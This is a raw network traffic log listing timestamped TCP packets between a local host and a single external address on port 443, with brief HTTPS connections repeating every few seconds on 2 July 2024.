Jul 2, 2024 16:30:03.634354115 CEST	54773	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:03.634397984 CEST	443	54773	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:03.634535074 CEST	54773	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:03.634835005 CEST	54773	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:03.634850979 CEST	443	54773	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:04.115947962 CEST	443	54773	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:04.117758036 CEST	54773	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:04.117783070 CEST	443	54773	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:04.247845888 CEST	443	54773	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:04.247993946 CEST	443	54773	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:04.248075962 CEST	54773	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:04.248632908 CEST	54773	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:06.681135893 CEST	54775	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:06.681193113 CEST	443	54775	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:06.681277990 CEST	54775	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:06.681555986 CEST	54775	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:06.681576014 CEST	443	54775	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:07.257414103 CEST	443	54775	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:07.258760929 CEST	54775	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:07.258790970 CEST	443	54775	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:07.384852886 CEST	443	54775	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:07.384948969 CEST	443	54775	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:07.385030031 CEST	54775	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:07.385535955 CEST	54775	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:09.587498903 CEST	54777	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:09.587548018 CEST	443	54777	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:09.587630033 CEST	54777	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:09.587961912 CEST	54777	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:09.587981939 CEST	443	54777	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:10.352642059 CEST	443	54777	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:10.354458094 CEST	54777	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:10.354494095 CEST	443	54777	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:10.534953117 CEST	443	54777	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:10.535070896 CEST	443	54777	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:10.535171032 CEST	54777	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:10.535836935 CEST	54777	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:12.509675026 CEST	54778	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:12.509721041 CEST	443	54778	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:12.509852886 CEST	54778	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:12.510180950 CEST	54778	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:12.510195971 CEST	443	54778	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:13.153382063 CEST	443	54778	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:13.154836893 CEST	54778	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:13.154861927 CEST	443	54778	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:13.308092117 CEST	443	54778	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:13.308183908 CEST	443	54778	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:13.308284044 CEST	54778	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:13.308927059 CEST	54778	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:15.097424030 CEST	54779	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:15.097489119 CEST	443	54779	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:15.097615004 CEST	54779	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:15.097868919 CEST	54779	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:15.097882986 CEST	443	54779	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:15.612404108 CEST	443	54779	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:15.613974094 CEST	54779	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:15.614001989 CEST	443	54779	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:15.766222000 CEST	443	54779	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:15.766335964 CEST	443	54779	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:15.766427994 CEST	54779	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:15.767210960 CEST	54779	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:17.368943930 CEST	54780	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:17.369009018 CEST	443	54780	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:17.369158983 CEST	54780	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:17.369406939 CEST	54780	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:17.369420052 CEST	443	54780	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:18.706171989 CEST	443	54780	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:18.713706017 CEST	54780	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:18.713735104 CEST	443	54780	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:18.853351116 CEST	443	54780	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:18.853471041 CEST	443	54780	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:18.853559017 CEST	54780	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:18.854162931 CEST	54780	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:20.306159019 CEST	54781	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:20.306222916 CEST	443	54781	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:20.306335926 CEST	54781	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:20.306627035 CEST	54781	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:20.306642056 CEST	443	54781	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:21.057034016 CEST	443	54781	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:21.058540106 CEST	54781	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:21.058589935 CEST	443	54781	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:21.199162960 CEST	443	54781	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:21.199284077 CEST	443	54781	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:21.199362040 CEST	54781	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:21.200113058 CEST	54781	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:22.493973970 CEST	54782	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:22.494019032 CEST	443	54782	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:22.494098902 CEST	54782	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:22.494395971 CEST	54782	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:22.494410992 CEST	443	54782	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:22.992327929 CEST	443	54782	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:22.993729115 CEST	54782	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:22.993765116 CEST	443	54782	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:23.120791912 CEST	443	54782	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:23.120904922 CEST	443	54782	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:23.120975971 CEST	54782	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:23.121598005 CEST	54782	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:24.290451050 CEST	54783	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:24.290513992 CEST	443	54783	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:24.290651083 CEST	54783	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:24.290944099 CEST	54783	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:24.290958881 CEST	443	54783	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:24.779503107 CEST	443	54783	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:24.780886889 CEST	54783	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:24.780919075 CEST	443	54783	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:24.925755024 CEST	443	54783	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:24.925899982 CEST	443	54783	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:24.925988913 CEST	54783	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:24.926471949 CEST	54783	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:25.978610992 CEST	54784	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:25.978672028 CEST	443	54784	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:25.978761911 CEST	54784	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:25.979090929 CEST	54784	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:25.979109049 CEST	443	54784	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:26.448189974 CEST	443	54784	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:26.449661016 CEST	54784	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:26.449697018 CEST	443	54784	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:26.579705000 CEST	443	54784	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:26.579822063 CEST	443	54784	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:26.579895973 CEST	54784	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:26.580451965 CEST	54784	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:27.524766922 CEST	54785	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:27.524813890 CEST	443	54785	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:27.524902105 CEST	54785	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:27.525191069 CEST	54785	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:27.525202990 CEST	443	54785	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:27.992743015 CEST	443	54785	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:27.994005919 CEST	54785	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:27.994029045 CEST	443	54785	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:28.133234024 CEST	443	54785	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:28.133708000 CEST	443	54785	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:28.133780956 CEST	54785	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:28.134237051 CEST	54785	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:28.993438005 CEST	54787	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:28.993493080 CEST	443	54787	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:28.993590117 CEST	54787	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:28.993869066 CEST	54787	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:28.993884087 CEST	443	54787	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:29.603077888 CEST	443	54787	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:29.611078978 CEST	54787	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:29.611109972 CEST	443	54787	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:30.707704067 CEST	443	54787	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:30.707789898 CEST	443	54787	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:30.707895041 CEST	54787	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:30.708411932 CEST	54787	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:31.477855921 CEST	54788	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:31.477922916 CEST	443	54788	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:31.478008032 CEST	54788	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:31.478250980 CEST	54788	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:31.478275061 CEST	443	54788	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:31.965023041 CEST	443	54788	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:31.966388941 CEST	54788	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:31.966419935 CEST	443	54788	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:32.113574982 CEST	443	54788	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:32.113646984 CEST	443	54788	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:32.113821983 CEST	54788	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:32.114567995 CEST	54788	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:32.805779934 CEST	54789	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:32.805840969 CEST	443	54789	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:32.805917025 CEST	54789	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:32.806190968 CEST	54789	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:32.806205034 CEST	443	54789	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:33.304985046 CEST	443	54789	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:33.306343079 CEST	54789	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:33.306377888 CEST	443	54789	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:33.459883928 CEST	443	54789	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:33.459970951 CEST	443	54789	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:33.460155010 CEST	54789	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:33.460751057 CEST	54789	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:34.087212086 CEST	54791	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:34.087263107 CEST	443	54791	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:34.087364912 CEST	54791	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:34.087620974 CEST	54791	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:34.087634087 CEST	443	54791	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:34.588956118 CEST	443	54791	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:34.591144085 CEST	54791	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:34.591161966 CEST	443	54791	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:34.742712975 CEST	443	54791	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:34.742818117 CEST	443	54791	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:34.742906094 CEST	54791	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:34.743401051 CEST	54791	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:35.306061029 CEST	54792	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:35.306133032 CEST	443	54792	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:35.306262970 CEST	54792	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:35.306536913 CEST	54792	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:35.306552887 CEST	443	54792	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:35.774015903 CEST	443	54792	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:35.775264025 CEST	54792	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:35.775283098 CEST	443	54792	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:35.908230066 CEST	443	54792	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:35.908305883 CEST	443	54792	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:35.908390999 CEST	54792	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:35.908979893 CEST	54792	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:36.415406942 CEST	54793	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:36.415461063 CEST	443	54793	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:36.415570021 CEST	54793	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:36.415836096 CEST	54793	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:36.415848970 CEST	443	54793	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:36.910175085 CEST	443	54793	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:36.911676884 CEST	54793	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:36.911711931 CEST	443	54793	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:37.066926003 CEST	443	54793	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:37.066992998 CEST	443	54793	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:37.067080021 CEST	54793	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:37.067622900 CEST	54793	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:37.524866104 CEST	54794	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:37.524909973 CEST	443	54794	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:37.525006056 CEST	54794	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:37.525283098 CEST	54794	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:37.525298119 CEST	443	54794	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:38.001907110 CEST	443	54794	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:38.003338099 CEST	54794	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:38.003365993 CEST	443	54794	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:38.151415110 CEST	443	54794	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:38.151495934 CEST	443	54794	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:38.151551962 CEST	54794	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:38.152067900 CEST	54794	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:38.571743011 CEST	54795	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:38.571795940 CEST	443	54795	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:38.571866989 CEST	54795	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:38.572098970 CEST	54795	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:38.572113037 CEST	443	54795	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:39.071980000 CEST	443	54795	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:39.073270082 CEST	54795	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:39.073311090 CEST	443	54795	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:39.226761103 CEST	443	54795	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:39.226872921 CEST	443	54795	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:39.226929903 CEST	54795	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:39.227492094 CEST	54795	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:39.603399992 CEST	54796	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:39.603451967 CEST	443	54796	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:39.603532076 CEST	54796	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:39.603826046 CEST	54796	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:39.603842974 CEST	443	54796	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:40.073318005 CEST	443	54796	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:40.074609041 CEST	54796	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:40.074642897 CEST	443	54796	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:40.236682892 CEST	443	54796	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:40.236808062 CEST	443	54796	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:40.236931086 CEST	54796	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:40.237560987 CEST	54796	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:40.571666002 CEST	54797	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:40.571722984 CEST	443	54797	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:40.571816921 CEST	54797	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:40.572088957 CEST	54797	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:40.572105885 CEST	443	54797	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:41.037717104 CEST	443	54797	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:41.040318012 CEST	54797	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:41.040349960 CEST	443	54797	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:41.194092035 CEST	443	54797	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:41.194183111 CEST	443	54797	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:41.194338083 CEST	54797	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:41.194894075 CEST	54797	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:41.493611097 CEST	54798	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:41.493647099 CEST	443	54798	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:41.493710995 CEST	54798	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:41.494051933 CEST	54798	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:41.494061947 CEST	443	54798	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:42.153646946 CEST	443	54798	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:42.154985905 CEST	54798	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:42.154999018 CEST	443	54798	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:42.320091009 CEST	443	54798	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:42.320180893 CEST	443	54798	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:42.320441961 CEST	54798	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:42.320969105 CEST	54798	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:42.602982044 CEST	54799	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:42.603028059 CEST	443	54799	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:42.603116989 CEST	54799	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:42.603466034 CEST	54799	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:42.603482008 CEST	443	54799	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:43.307329893 CEST	443	54799	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:43.322654963 CEST	54799	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:43.322680950 CEST	443	54799	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:43.586314917 CEST	443	54799	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:43.586415052 CEST	443	54799	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:43.586462021 CEST	54799	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:43.587702036 CEST	54799	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:43.837677002 CEST	54800	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:43.837733030 CEST	443	54800	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:43.837795019 CEST	54800	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:43.838227034 CEST	54800	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:43.838243961 CEST	443	54800	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:43.848102093 CEST	54800	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:43.892507076 CEST	443	54800	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.071665049 CEST	54801	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.071727991 CEST	443	54801	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.071779966 CEST	54801	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.072163105 CEST	54801	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.072179079 CEST	443	54801	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.324568033 CEST	443	54800	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.324676991 CEST	54800	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.324697018 CEST	443	54800	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.324836016 CEST	54800	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.537941933 CEST	443	54801	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.538124084 CEST	54801	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.540663004 CEST	54801	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.540671110 CEST	443	54801	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.540962934 CEST	443	54801	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.542469978 CEST	54801	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.588488102 CEST	443	54801	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.709249020 CEST	443	54801	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.709359884 CEST	443	54801	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.709422112 CEST	54801	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.710093975 CEST	54801	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.915241003 CEST	54802	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.915286064 CEST	443	54802	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:44.915407896 CEST	54802	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.916663885 CEST	54802	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:44.916683912 CEST	443	54802	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:45.519282103 CEST	443	54802	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:45.521595955 CEST	54802	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:45.521625042 CEST	443	54802	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:45.675230026 CEST	443	54802	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:45.675307989 CEST	443	54802	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:45.675350904 CEST	54802	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:45.678142071 CEST	54802	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:45.884190083 CEST	54803	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:45.884258986 CEST	443	54803	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:45.884361029 CEST	54803	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:45.884640932 CEST	54803	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:45.884653091 CEST	443	54803	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:46.351492882 CEST	443	54803	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:46.352914095 CEST	54803	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:46.352961063 CEST	443	54803	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:46.497417927 CEST	443	54803	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:46.497853994 CEST	443	54803	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:46.497915030 CEST	54803	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:46.498280048 CEST	54803	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:46.665580034 CEST	54804	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:46.665636063 CEST	443	54804	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:46.665903091 CEST	54804	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:46.666251898 CEST	54804	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:30:46.666269064 CEST	443	54804	104.20.3.235	192.168.2.6
Jul 2, 2024 16:30:47.154174089 CEST	443	54804	104.20.3.235	192.168.2.6
